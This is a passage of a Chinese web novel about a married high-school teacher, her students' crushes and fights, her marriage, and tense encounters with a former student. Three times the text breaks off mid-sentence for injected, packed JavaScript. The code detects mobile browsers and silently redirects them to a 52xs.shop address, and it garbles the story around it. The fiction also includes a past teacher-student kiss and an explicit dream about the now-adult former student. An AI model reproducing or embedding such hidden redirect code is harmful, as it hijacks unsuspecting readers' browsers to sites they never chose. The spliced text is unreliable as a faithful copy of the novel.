吴思齐:“李老师,您到底什么意思?” 李知难耸肩:“我关心一下你的个人情况,有合适的我帮你介绍啊。” “我真的不需要,谢谢李老师。”吴思齐婉拒。 “你不喜欢女生?” 吴思齐的唾沫差点呛死自己。 李知难道:“跟你直说吧,你也知道,我是三班的班主任。我们班的孩子做事没轻没重,特别没分寸。” 吴思齐表情微微一变,李知难明白,他是猜到自己来意了。 李知难道:“咱们的工作环境是高中,一波成年人,一波青少年,本来有人的地方,就肯定有事情,更何况是这种权力分布明显,又充斥着荷尔蒙的地方,所以我们必须得谨慎。这个地方里一大半的人是任性冲动的,是难免会惹事犯错的,因此我们这一小部分人,就得更加谨慎,吴老师,你明白我的意思吧?” “嗯,我懂了。”吴思齐低着头回应。 “所以,我们班章乐怡下次要是再来您办公室……” 吴思齐没等她把话说完,“我会把门开开的。” “谢谢吴老师。” 李知难感觉自己就像是皇帝身边的太监总管一样,要各种斡旋婉转,机关算尽,斗智斗勇,偏偏皇帝公主千千万,太监总管就她自己。 今天倒是巧了,才回办公室,只听二班魏老师抱怨道:“我觉得我就跟欠这帮祖宗似的,天天当牛做马,恨不能把道理喂到人家嘴边,人家可好,直接给你吐了,还嫌弃你落伍了。” “当父母不就这样么!”旁边人劝道。 “我是他父母么?我老了他给我养老吗?”魏老师摇头,“这师生关系就应该是跟古代似的,明明白白我在上头讲,他在下头听,没事提倡什么跟学生做朋友,做什么朋友,他拿我当朋友么?” “魏老师怎么这么大火?”李知难小声打探道。 孙老师回道:“魏老师班里学生跟她说瞎话,说自己家里困难,魏老师就私下给他塞了钱,然后那孩子拿钱去酒吧了,昨儿被片儿警逮着了。” “混蛋么这不就是。”周老师帮腔。 “就这样的孩子啊,没法救。”孙老师摇头。 李知难想了想刚才自己的遭遇,只道:“总得允许孩子们犯错。” “犯错是犯错,这就是拿着老师当猴耍!”魏老师越说越生气。 李知难将故事转述给曲子格,她倒是听得格外热闹:“我倒觉得这孩子挺聪明的,胆儿也挺大。” “曲子格,你政治正确一点啊。”李知难提醒。 “这话不是你说的吗?任性是少年的权力。”曲子格用她话反驳她。 “你起开吧你。”李知难道,“还有,章乐怡的事我暂时搞定了,邵冲那边,你想多了,回头帮我多看着点就行了。” 曲子格见她就是看不清,索性也懒得再跟她掰理,话里带着套似的道:“你说邵冲我才想起来,他刚才还找你来着。” “找我?”李知难纳闷。 “好像是音乐剧的事。”曲子格含糊道,“孩子看着跟要着火了似的,满世界找你。” “他现在跟哪儿呢?” “去礼堂了吧?他们不是有那个音乐剧吗?”曲子格故意把位置透露给她。 看着她急急忙忙的样子,曲子格看好戏的表情更得意了些。 李知难原本不想踏足礼堂,现在那里是李北辰的地界,她恨不能绕着走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427793|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可那日李北辰话里话外地针对邵冲,她又担心是不是孩子在那里受了什么委屈?这么想着,腿脚便不自觉地朝着礼堂的方向走了过去。 半路恰好遇到奚西,便问道:“奚西老师,我们班邵冲在礼堂吗?” 奚西点头:“在呢。” “李……北辰呢?” “师兄也在。” “他……没事吧?”李知难试探问。 “谁?师兄吗?” “不是,邵冲。” 奚西琢磨一下,回道:“今天他状态确实不太对,刚才看他跟快哭了似的。怎么了?是出什么事了吗?” 李知难心里愈发不安:“没事,我去礼堂看看他。” 礼堂里仍旧有几波学生,各占了角落练习,邵冲个子高,显眼地一个人在音响室旁边站着。李知难也不好当着这么多学生面喊他,看他当下正面对着墙壁认真地背着台词,便想着走过去一探究竟。 约莫离他还有三五步远。 “李老师,我喜欢你。”邵冲没在念台词,而是对着墙壁在精心筹划着他的告白,“李老师,从我第一次见到你我就喜欢上了你,你……” 李知难本能地想上去把他的嘴给缝上,可周围学生众多,她看着邵冲似是要转过身的样子,生怕他择日不如撞日地当下就给自己现个大眼,慌乱中捡着最近的地方,躲进了一旁的调音室。 门关上,她摸着黑打开了灯,却连把悬着的那口气放下的功夫都没有,就发现自己是躲过一个火坑又掉进了另一个。 “你怎么在这?”她看着面前翘着二郎腿的男人,捏着嗓子问。 李北辰回:“这是我的秘密基地。” 门外突然传来敲门的声音:“谁在里面呢?” 李北辰突然走过来,压着她的身子,将她身侧的灯关上了。 “我刚才好像看见有人进去了啊?”外面人道。“有没有人?这里面是工作区,不许学生进的。”外面人继续道,说罢便听到了钥匙的嘀哩当啷声。 李北辰出声应:“张师傅,是我。” 外面人立刻停了动作:“哦,是小李老师啊,打扰了打扰了。” 门外逐渐安静,李知难想再去打开灯,却发现胳膊被李北辰的身体挡住,伸不过去。 李北辰在她耳边道:“外面的男学生,准备告白?” “……”李知难心想,难怪刚才一拉门就开了,分明是他虚掩着门,躲在这里听人的墙角。 李北辰继续道:“这种事好像李老师都司空见惯了。” “你什么意思?”李知难被他说得有些炸毛。 李北辰答:“照顾学生,然后被照顾的学生暗恋。” 李知难语气严肃:“这种关系不对等的误会,只不过是青春期发育中,因为缺乏足够的阅历和理智,由于迷恋权力的映射导致的错误认知,这并不是爱情,也不是暗恋,只是误会。” 李北辰口气却带着些戏谑:“李老师好像话里有话。” 李知难没好气回:“你要是心里有鬼,听什么都像是话里有话。” “那我心里有什么鬼?”李北辰问。 李知难没有回答。 两个人就这样隔着在光亮时尽显暧昧,却在黑暗中颇为克制的距离,短短地沉默了几秒。 李知难开口问道:“听说你把自己歌曲的版权卖了?” “嗯。” “因为车子?”她问。 “……本来也是要卖的。”他答,却因不擅长说谎,声音没什么底气。 李知难换了个问题:“那在我老公面前送花也是无心之举吗?” “……是你要我送你康乃馨的。”李北辰说着只有两个人才能听懂的陈年旧事,试图消除“老公”两个字带来的副作用。 他给自己明目张胆地找着狡猾的借口。 “那天亲我呢?”李知难终于没再忍住,“在酒吧趁我喝醉亲我,你怎么解释?” “李,李老师……”李北辰像是被人戳中了软肋,一时间有些结巴。 李知难一不做二不休,直接道:“李北辰,我没忘记你,也没忘记之前发生过的事情,但是就如同外面的邵冲一样,我对你,也只是一个老师对自己学生应尽的责任,除此以外没有其他。你现在已经成年了,就应该有足够的能力分辨爱情和误会。” “您觉得是我误会了?”他声音带着些沮丧。 “是。” 那沮丧突然多了不甘心:“李老师,当年留着眼泪亲我的人,不是您吗?” “……”李知难被他问得哑口无言。 “是你亲的我。”他倔强地说。 就是这样百口莫辩的一件事,李知难人生中唯一一次的失误。在她工作的头几年,听到最多的一句话便是:“他们胡闹你也跟着他们胡闹吗?他们是孩子你也是孩子吗?” 少年是从什么时候失去了任性的权力呢?毕竟从少年到成年也不是一瞬间的事情,所以那个过程是如何一步步将人驯化的? 李知难思索,也许就是一次次地倔强,一次次地犯错,一次次地惩戒,一次次地悔过,最后错误不再是低头道歉,听罚听骂便能解决的事情时,错误便开始有了代价。 渐渐的,那代价少年承受不起了,于是,少年再也没有了任性的权力。 只是李知难不知道,这代价的有效期竟然会这么长。 李知难看着他翻起旧账,气急败坏道:“李北辰,我现在结婚了,你找我算陈年旧账我还能赔你钱不成?” 他声音透着些委屈:“李老师欠我的也不是钱。” “所以你是讨债来了?”她问道,“那好,亲你也亲了,现在我们两清了吧?” “没有。”李北辰果断回道,黑暗中,他的眼睛却不知反得哪里来的光,“那天亲您的不是我,是曲老师。” 记忆被他的话点透,逐渐清晰。那天晚上的李北辰,恭敬得体,在一旁看着他们两个人撒酒疯散德行。 而其中的一项行为就包括,曲子格亲了她的嘴唇。 记忆回位的李知难恨不能当下转头就跑,但是门被李北辰用手挡住了。 李北辰声音有些抖:“李老师,我应该讨回来么?” 他没想过,原来是可以这样讨债的。 逼仄的音响间内,他试图上前,将嘴唇贴向她的。 李知难的呼吸停住了。 门锁传来清脆的扭动声。 他的声音像是混在空气中,轻弱却又干脆:“还是欠着吧。” 李知难眼皮迎上突然洒进来的光线,才发现此刻的自己已经闭上了眼。 9. 是妈妈 是婚姻 半夜,李知难浑浑噩噩地做了个梦。梦里,身体不由控制地分泌着激素,她只觉得有人埋头在她身体下耕耘,柔软碰触,如浪潮层层叠叠。 猛然,她睁开了眼。却见膝盖中间,李北辰缓缓抬起了头,白皙的脸上泛着些红晕,眼睛里映着的不知是属于谁的意乱情迷。 “是你欠我的。”他看着她说。 梦中的李知难还在清淤和理智中混乱时,闹钟突然响起。 她睁开眼,她只觉得自己喉咙干渴,起身去找水喝。 “记得接皮皮。”手机的备忘录上写着。 李知难的大脑皮层还印着那场梦里的涟漪,皮皮两个字如同八四消毒水一样,瞬间将那些如同细菌般消除得无影无踪。 皮皮参加了学校的足球冬令营,这两周在郊区封闭训练,今天是他回来的日子。 接皮皮时,指导老师旁敲侧击道:“皮皮妈妈,皮皮有些发烧,您回去的时候注意观察。” “怎么回事?”她担心地询问。 指导老师坦白道:“我们跟家长说了,营地有空调,晚上热,让带些速干的衣服,薄一点的,但是皮皮的衣服全是厚的,平时他们运动量大,流汗多,最后这几天皮皮有点吃不消了,赶上邪风就烧了。” 李知难一股无名火从心底起。 她才掏出手机打算问责,但看着无精打采的皮皮,还是忍着火地将手机放了回去,抱起了已经五十多斤的儿子。 皮皮在同龄人中算是瘦皮猴一样的男孩,可这样挂在李知难身上时,也着实需要费番力气。 “您自己?”老师左右看着她,周围都是爸爸妈妈爷爷奶奶一大家子来接祖宗的,她一人显得有些单薄。 “嗯,他爸有事。”李知难答。 看着老师眼里略带同情的眼神,李知难抱着皮皮准备上大巴车。 “皮皮,自己坐行不行?”她觉得胳膊有些吃不消。 “妈妈我难受……”皮皮含糊地回,若是平时,便是强行要抱他他也不肯的,一生了病,又柔软成了个小孩子。 “好,那你搂着妈妈。”李知难强忍着酸痛,把他牢牢地箍在了怀里。 上车的车门在他们面前停顿了一秒,透过黑色的玻璃,她看见自己抱着皮皮的倒影。 她是个妈妈。 皮皮的腿耷拉在李知难的身体两侧,一边一条,屁股架在李知难十指交扣起来的手上,整个身子都偎在她怀里。 就是这样巧劲儿加臂力的姿势,李知难将他从小娃娃抱到了大。 他一岁的时候,李知难哄他睡觉,可这个人精能睁着小眼睛看她一个小时,她抱着孩子走来走去,那双小眼睛似乎要合上了,却又突然睁开。她不敢放下,生怕错过了传说中的“入睡信号”,就在这种马上就会睡着的虚无希望中,她坚持了十分钟又十分钟,无数次以为自己的胳膊可能今晚上就得折掉,可这两条连瓶盖儿都拧不动的小胳膊,就这样抱着这个娃娃,从十斤到五十斤地,抱了过来。 母亲的刚韧,也许就是一天灌一两铁,一天加一斤炭,慢慢地把那个柔弱的小女孩熬炼化的过程。 做女儿的时候,她的眼睛能看到妈妈,耳朵能听到妈妈,可心里是放不进去的。花花世界太有意思,妈妈的那个犄角旮旯,放不下年轻人那么多的花花肠子。 做妈妈之后,很多事就通了。也不是刻意想,刻意学。而是在无意间,她做出那个曾经让自己咂舌的举动并渐渐对这些行为习以为常。 比如孩子嘴里吐出的食物,沾在衣服上的屎尿,都从打死也别指望我会碰变成了毫无波澜的日常;比如从小听腻的离电视远点,少吃点甜的,多吃点蔬菜,这些听得耳朵长茧的话又在嘴里破茧成蝶,喋喋不休。 做孩子的时候没办法懂妈妈,因为妈妈是个光靠想象力想象不出的工种,是一种后知后觉的醒悟。 老生常谈的理解,共情,更倾向于带着自己的一知半解进入别人的世界,用自己的经验去理解别人的经历。然而对于没有经历过的,所谓的理解都是虚妄。正如健康的人劝不了将死之人,自由的身体也撼不动囚箍的灵魂。世间没什么感同身受,身受的时候感才能同,其余的,不过是各种姿势的站着说话不腰疼。 李知难最终还是拿起了电话:“宋乐,你现在回家。” “我这边……有点事。”那边背景吵杂,宋乐小声回应道。 “你现在立刻回家,我不是在跟你商量。”李知难认真道。 “知难,”宋乐的声音压得低了些,“我现在真的走不开……” 李知难声音带了些哭腔:“皮皮病了,我们需要你,你如果现在不回来,以后就永远不用回来了。” 李知难挂掉电话,暗觉嘴里说出这种话的自己真是他妈的俗得不能再俗。 半夜,皮皮的温度渐渐降了下来,到底是小孩子,来的快去得也快,李知难才想着再帮他准备些温水,就听到了门开的声音。 一身酒气的宋乐和正准备烧水的她撞了个正面。 李知难也就犹豫了一秒,便当作他不存在一般该干什么继续干什么了。 宋乐将外套口袋里的手机皮夹掏出来放在一旁,一些夹杂在中间的硬币落地,发出刺耳的嘈杂声。 李知难不由捏住了拳,却又再次松开手,继续将水壶的水接满,熟练地摁下烧水键。 “我……”宋乐道。 李知难权当没听见,灌好了水杯又径直回了卧室。 第二天一早,李知难是被外面的乒乒乓乓声吵醒的,她低头看了看怀里的皮皮,他拧着眉头往她怀里钻,试图隔绝外面的噪音。 “妈,您怎么来了?”宋乐的声音响起。 “你这是……”宋乐妈妈回,也许是看到了次卧的门开着,念叨道:“就说你们家屋子多,你们也不能老分房睡啊!” 言罢,她声音压低了些:“说你多少回了,分房像话吗?” 宋乐没接她的话茬,只道:“不是,您来之前怎么也不说一声?” “我回自己家,还说一声?下回我给你打报告得了!”宋乐妈妈嘴上说着,手里开始这收拾那摆弄,发出了更大的噪音。“他们娘俩儿呢?还没醒呢?都几点了!” 宋乐:“皮皮昨天有点感冒,他们……” “为什么啊?”宋乐妈妈不等他话说完,“皮皮怎么了?怎么感冒了?”说罢冲着主卧走了过去。 李知难从卧室出来时正好和欲推门而入的她撞了正面,她喊了声“妈”,解释道:“已经没事了。” “你们给他吃什么了?怎么突然就感冒了?”宋妈妈兴师问罪道。 “老师说,提前告诉家长带速干衣服,但是皮皮没带,所以流汗遇风感冒的。”李知难重复着昨天听来的话,“您没给他带速干衣?” 宋乐妈妈支吾回道:“我想着郊区那么冷,别穿薄了,他自己又不会多穿,干脆少带点那些薄了吧唧的衣服算了……” “我知道您也是一片好心,但是下次还是听老师的吧,她们比咱们更了解情况。”李知难回道。 宋乐妈妈点头,急忙忙进卧室去看孙子:“对不起啊我的宝贝孙子,都是奶奶不好。” 客厅只剩下他二人。 “知……”宋乐才开口,李知难当没听见一样,转头去了卫生间。 周一午休,曲子格拿着饭盒扒拉着红烧鸡块:“所以呢,你就不理他了?” “嗯。”李知难点头。 “活该。”曲子格附和。 “我觉得你有点小题大做了。”说话的人叫孙书维,是新任的教务处主任,她和李知难同年入岗,平时虽关系亲密,但孙书维工作忙,难得能偷个懒和她们在办公室一起吃午饭。 “你疯了吧?孩子是她一个人的?宋乐喝酒不管孩子,还有理了?”曲子格顾不得满嘴的米饭,恨不能把孙书维当成宋乐来骂。 孙书维也不气也不急,慢条斯理回道:“小宋不是忙公司的事么,他也不是天天喝酒的人,这种事一年也没几回,都是无可奈何的。” “哪那么多无可奈何,这是他的选择。”李知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427794|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难答。 孙书维反问:“你希望他选你?” 李知难摇头:“我希望他选皮皮。” 孙书维仍是一脸平和:“那是皮皮该琢磨的事,你嫁他又不是图这个。”她话里有话地说,“小年轻谈恋爱才这样,你们两口子过日子,不能这样。” “有什么不一样的!”曲子格忿忿道。 孙书维放下了筷子:“谈恋爱,你是你,他是他,他要对你好,以你为优先。结了婚,你是他,他是你,你们俩并肩作战,以家为优先。他是为了工作,没办法,你是为了孩子,也没办法,所以你们各自照顾好各自的,这就是最优解。你也没什么可生气的。” 李知难突然觉得自己有些被说动。 “那还结什么婚!”曲子格感觉自己听到了大逆不道的言论,生气道,“就他有工作?知难没工作吗?” “知难的工作不需要应酬,如果是他们两个人都在工作的时候,宋乐要知难牺牲,那属于他做的不对。可是宋乐也是牺牲了自己的休息时间去工作,知难牺牲自己的休息时间处理孩子问题,这只能是资源不同的分配,都是为了这个家好。”孙书维理智回答。 “合着工作我也得干,家里我也得管,那婚姻的意义是什么?我结婚又不是为了给人当老妈子的!”曲子格愈发带入到了自己身上。 “那你想当什么?”孙书维反倒被她逗笑了。 “当!公!主!啊!”曲子格大言不惭道。 孙书维:“你没结婚之前也不是公主,凭什么要求结个婚就给自己原地升官了?” “我……”曲子格被她堵住了话头。 孙书维拿起了筷子,道:“你嫁人的时候就得想明白,你是嫁给王子了么?人家真王子会娶你么?别脑袋一热就嫁给自己的幻想。结了婚就得把对方当成家人,家人也是要耕耘的,光收获不付出,天底下哪有那么好的事?” 曲子格说不过她,回身看李知难:“行行行,我不是公主,人家王子看不上我,可我们知难这么漂亮,凭什么不能做公主?他宋乐凭什么不把她放手心里供着?” 孙书维秀才遇到兵,只道:“用不着宋乐,你一个人的香火我看就能给她供得高高的。” 曲子格冲她努了努嘴,收拾起李知难的饭盒道:“我现在就先给公主刷饭盒去!” 孙书维:“顺便也把我的……” “你不是要耕耘要付出么,自己洗去!”曲子格没好气道。 二人笑作一团,待曲子格出去后,孙书维表情严肃了些道:“知难,两口子过日子,你总要知道过个什么,小曲跟个小孩似的,你也跟她似的?” 李知难:“我知道了,谢谢孙老师。” “我一会儿得开会,先走了?” 李知难感激地点了点头。 曲子格再回来时,见孙书维不在,只道:“我觉得孙书维跟个旧社会余孽似的。” 李知难:“也可能是新社会先锋。” “就她那观点,给男人当老妈子的精神,哪先锋了?” “她有一点说的对,我们都是独立的,不能总指望人家。”李知难道。 “那嫁人图什么?”曲子格反问。 “图什么都行,你想清楚了就行。”李知难答。 “你呢?你想清楚了吗?” “想清楚了。” “图他啥?” “图他人好。”李知难还是这句话。 曲子格将饭盒放到一旁,认真问道:“知难,你爱他吗?” 她无数次想问李知难这个问题,可是她害怕这问题问到李知难的软肋上。毕竟,承认不爱自己的丈夫,像是对现实的妥协,对理想的辜负。可她无论如何也不觉得李知难会爱宋乐,他太平庸了,远不及她万分之一耀眼,无论是容貌思想还是性格。她完全理解不了他们的婚姻,究竟是一个什么样的鬼使神差,意外组合。 “我……” 李知难还没来得及回答,门口传来了声音:“李老师,你们班学生在操场上打起来了。” 10. 摁下葫芦起了瓢 篮球场上,邵冲和同班的赵星移打作一团,李知难赶到时,孙书维也得了消息赶过来。 “老师来了!”越来越多的学生念着这句神奇的咒语,放佛这便是紧箍咒,片刻间便能将两个学生头上无形的金箍都匝起来。 邵冲和赵星移在众人拉扯下松开了手,气喘吁吁地看着对方。 单位面积下人均密度变松散,空气适当地涌入了大脑,因愤怒充血而丧失的理智被氧气唤醒,两个人开始用余光打量,衡量周围的局势。 左边是李知难,右边是孙书维。 任谁都知道,如果被李知难带走,大事也能化小,要是被孙老师带走,请家长挨处分是在所难免了。 “因为什么打架?”李知难先孙书维一步,厉声问道。 赵星逸咬着牙恨恨不肯回答。 邵冲立刻回道:“他说你坏话!对,就是他李老师,他说你坏话!” 李知难看向赵星移,他躲避着她的视线,一言不发。 邵冲此时已经跑到李知难身边,态度倒是诚恳,低着头道歉:“李老师我错了,我下次再也不了,但是这次真的是他先骂你的,要不然我绝对不会动手打人。” 赵星移仍旧不为自己辩解。他余光里的情绪倒是清楚分明,没有反抗能力的人若是觉得自己受了委屈,眼睛里迸发出的愤怒便是这种模样。 孙书维给李知难递了个眼神。 李知难道:“一个巴掌拍不响,事情到底怎么回事还得调查清楚了再说。赵星移,你跟我去办公室,邵冲,你跟孙老师去教务处把事情前后说一下。” 邵冲难以置信地看着她,李知难上前一步走到了赵星移面前,他的表情同样是难以置信。 “走吧,还想让我怎么请你啊?”李知难没好气道。 办公室内。 “说吧。”李知难接好了水,坐定等他开口。 “邵冲说的没错,是我先说您……的。”赵星移的态度明显好转,服软老实道。 “说我什么了?” 他复述道:“我说他别仗着他妈给您送礼就可以为所欲为。” 李知难也不恼,反问:“你哪只眼睛看见他妈给我送礼了?” 赵星移吱唔:“大家都这么说。” “大家是谁?” 赵星移答不上来。 李知难继续问道:“我收邵冲妈妈的礼,你看见过是吗?” 赵星移摇头。 李知难口气严肃了些:“赵星移,你才上高中,社会的险恶你就学了点皮毛,编瞎话拿来对付老师同学是游刃有余了,可是你不会一辈子都活在好人堆儿里,你这样的小聪明,但凡碰上一个真坏的,以后等着你的就是万丈深渊。” 赵星移呢喃辩解:“我就是瞎说,我又不是故意的……” 李知难回:“那也不代表就没有后果。你无心的一句话,我就可能会失业。” 这话让赵星移听出了利害,他下意识回道:“对不起李老师。” “你真的觉得你错了吗?”李知难反问。 赵星逸咬着嘴唇没回答。他觉得,李老师有点小题大做。 “道歉分两种,一种是真的意识到自己做错了,打定了主意以后不会再犯,另一种是打心眼儿里不认为自己错,只不过是倒了霉得服一时的软。我也当过学生,你心里怎么想的我也明白。”李知难看着赵星移的表情,明白那句“对不起”是学生惯用的下意识。 她继续道:“我当学生的时候,老师讲究的是结果,所以只要嘴上认了错,就算得过且过了。但是你不用,你要是不觉得自己错,就不用道歉,我不强求你。形式主义的流程我不走,这种冠冕堂皇的虚假心理安慰,走过场的谅解,我也不想给你,我觉得这种道歉对邵冲也不公平。” 赵星移本来做好了准备,低头认错道歉完事。反正每次闯了祸,都是这样的流程。大点的错多挨会儿骂,小点的错少挨会儿。可李知难这么一说,尤其是那句“对邵冲不公平”,让他忍不住脾气,直接把不服气摆到了明面上:“分明是李老师您偏心邵冲!” “我偏心他什么了?” 赵星移一股脑将心中不满倒了出来:“凭什么他可以去篮球队,凭什么他可以去音乐剧,这些不都是李老师您给他塞进去的吗?要是没给您好处,为什么他可以有这些?” “为什么他可以?”李知难反问,“赵星移,你问问你自己,这是你真正想问的问题吗?” 赵星移看向她。 “你真正的问题不是为什么是他,而是凭什么不是你。”李知难一语中的。 赵星移被人说中了心事,咬着嘴唇不回应。可是少年的眼神不会说谎,他心底就是不服气。 “我告诉你凭什么。”李知难道,“因为他敢正大光明地说,他想去篮球队,他想演音乐剧。我记得篮球队申请表里没有你,音乐剧报名表里也没有你,对吗?” “……”赵星移沉默。篮球队也好,音乐剧也罢,他觉得自己普普通通,没什么可能入选,与其自讨没趣被人笑话,还不如清高一点打一开始就说没兴趣好了。可他看到同样普通的邵冲却能突出重围得到替补机会,心里顿时不满极了。果然,在邵冲又一次得意炫耀时,他忍不住泼了盆冷水,脏的冷水。 “你们是学生我是老师,老师是什么?老师是工具,是帮你到达你想要的那个未来的工具。但是我不是算命的,你想要什么,首先得是你自己大声说出来。”李知难口气并不严厉,却异常认真:“你想去篮球队?你想去演音乐剧?想去就大大方方站出来说,我想去。要是没有这种勇气,就没资格对着站出来的人指指点点。 有本事的人忙着学本事,没本事的人就只会躲在暗处,笑话人家,编排人家,造谣人家,可无论你说什么,假的真不了,就算邵冲进不去篮球队,也有别人会进,他演不了音乐剧,也有别人能演,左右不会是你,你知道为什么吗?” 赵星移头低着,眼睛却抬起来,等着她的下文。 李知难语重心长道:“因为站在暗处的人,不会被阳光偏爱。” 赵星移脸微微发着红,听着李知难将他的心事点开。 “邵冲想进篮球队,是他自己过来找我说,为了提高命中率,他以后会每天放学加练两个小时,他让我帮他在曲老师那里争取,如果你也能够有同样的决心,我也会帮你争取。”李知难看向他:“机会一直都有,一直给有准备的人,但不会给旁边什么都不做,妄想天上掉馅饼的人。” 赵星移看着李知难,舔了舔嘴唇。 李知难道:“我说过你不用和我道歉,在这件事情里,我被你冤枉,我可以自己证明清白,邵冲被你冤枉,他也行得正坐得端,唯独是你自己,你脏水都敢泼,怎么就没胆子承认自己心里怎么想的呢?” 赵星移脑子里左左右右纠结良久,终于道:“李老师,我确实,想……参加音乐剧。” “报名早就截止了。”李知难道。 赵星移打了蔫:“哦。” “这就放弃了?”李知难问,“那我看你也没多想。” 赵星移再次鼓起了勇气:“我知道报名截止了,您让我做什么都行,哪怕当个配角,演个树我也乐意。我想……试一试。” “看,也没多难不是么?”李知难微笑回道,“音乐剧的事,我帮你争取。” “谢谢李老师。”赵星移低下了头,不过这次嘴角悄悄挂了上来。 “还有,写两千字检查,明天交上来。”李知难拍了拍桌子,挥了挥手,权当是判完了这笔糊涂案。 赵星移那边刚弯上来的嘴角又跟挂了根小苦瓜一样耷拉了下去,应了声“知道了”,垂头丧气地离开了办公室。 曲子格兴冲冲地走来拍了拍李知难肩膀:“行啊,我的德育小能手。” 李知难被她逗笑:“孙老师那边呢?” “邵冲这会儿正哭呢。”曲子格转播道,“孙书维这个女魔头,你好狠的心,把学生推进虎口,不像是你的作风啊?。” “也该让他清醒清醒了,见天儿的不知道脑子瞎琢磨什么。”李知难道。 曲子格早就猜到邵冲的歪心思,她别的不行,看这种苗头一门儿灵。毕竟自作多情这方面,她自诩是个行家。结合李知难现在的表现,想必她也看出了端倪。青春期的冲动来得快去得更快,由孙书维来做这个斩断情丝的刽子手再合适不过。 午休结束的铃声总算是响起来,结束了这乌七八糟的半日。李知难和曲子格听到这叮叮当当的曲调都松了一口气,这声音代表着,至少接下来的四十五分钟内,不会再有什么幺蛾子了。 可铃声还没打完,那边又有人匆匆跑来:“李老师,你们班同学跟……外聘的李老师在礼堂打起来了!” 曲子格不由骂了句脏话。今天什么日子,犯太岁吗?怎么按下葫芦起来瓢的! 刚摁下葫芦的李知难再次匆匆到达起瓢的地方时,礼堂的场景简直是操场的升级版,一边秦梓轩脸上带着明显的血痕,另一边李北辰的脖领处,也全是扯斗过的痕迹。 李知难没了操场上的冷静理智地各打八十大板,反而像是护崽的母鸡一样冲过去,挡在秦梓轩身前:“李北辰你干什么!” 李北辰愣在原地。 “谁允许你动我学生的?”她声音高了八个度,连曲子格都没见过这种战斗状态下的李知难,急忙小声在旁提醒道:“你先问清楚再说嘛……” 奚西急忙在一旁解释:“李老师,你误会了,是秦梓轩先……” 李知难突然反应过来,李北辰不可能先动手。 可她知道李北辰的过去,知道他也是会动手的。 一个成年男子和一个十几岁的孩子,一眼就能看出来吃亏的是谁。何况秦梓轩脸上挂了彩,那不就说明他动手了吗? 眼下奚西念及师兄情谊,顾及赞助关系,甚至只是为了公平,也会将过错算到秦梓轩头上,但是一旦先动手的罪名安上来,等着秦梓轩的后果就不是写检查那么简单了。李知难不等奚西把话说完立刻辩解道:“谁先动手的他一个成年人也不该打高中生!” 李北辰原本平和的脸上突然起了波澜。 他皱着眉看着李知难,却发现她立刻将眼神躲开,关切地去看身后的男孩,原本按耐住的脾气突然多了分急躁。李知难抬起手想检查秦梓轩脸上的伤势,却突然被李北辰拉住了:“跟我过来。” 众人看着这举动,一时间竟不知是阻拦好还是看热闹好。好在曲子格连哄带赶地将学生遣走,礼堂里只有他们零星几人,要不然这一幕着实让人乍舌。 “你放开我!”李知难被他拉着,挣脱不开。 “不放。” 李北辰拉她去了一旁的办公室。 这她一路在想,自己是不是错了。错把他当成曾经那个十几岁的孩子,能凭借着老师的身份随意批评。眼下的他,和她之间没了那层身份的枷锁,也没有义务由着她指着鼻子骂。 所以,他这要是反抗? 思索间,他已经将办公室的门关上。 还不等他开口,李知难本着先声夺人的态度,厉声斥责道:“谁允许你动我学生的!” “李知难!”他一改平时的斯文,咬着后槽牙叫她的名字。 “怎么了!”李知难刺头儿一样回击,随时准备迎战。 “你不要太过分。” “我怎么过分了?是你先……” “是他先动手的。” “那你也不能还手。” “我没还。” “?”李知难愣住。 李北辰咬牙解释道:“是你的学生,冒冒失失地跑到我这里,什么都不说就动了手。” 李北辰手上带着气,一把扯开了衬衫,两三颗扣子崩到了地上,发出清脆的嗒嗒声。 李知难看着眼前陌生的男人身体,匀称的肌肉,白皙的皮肤,却被右肩膀到后背那一片带着淤血痕的突兀深红搞的略显狼藉。 “他拿椅子砸我,估计是没什么打架的经验,砸完甩到了自己脸上。”他态度缓和了些,认真解释道,“我没还手。” 李知难脑中想起秦梓轩那张挂了彩的脸,心中忍不住恨恨啐道:活该。 李知难有些尴尬,拨弄着手指答:“那你刚才在外面跟我说清楚不就行了,干嘛……” “你刚才有给我机会吗?”李北辰打断道。 “对不起,是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427795|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先入为主了。”她低下头,老实道歉。 李北辰将衬衫穿好,那几颗扣子虽然回不来了,但他还是左右抻了抻,试图让衣服看起来周正些。他看着这样的李知难,淡淡道:“我从前以为我是特殊的,现在看来,特殊的并不是我,特殊的是李老师学生这个身份,谁顶着这个身份,李老师就会向着谁。” 李知难听懂了他的话,可却不愿意和他深入谈这个话题,冠冕堂皇地回道:“我也没有向着他,他做错了事,自然是要承担后果的。” 李北辰突然定住了身,道:“好,公共场合暴力袭击,您看我是先报警,还是先做伤检?” 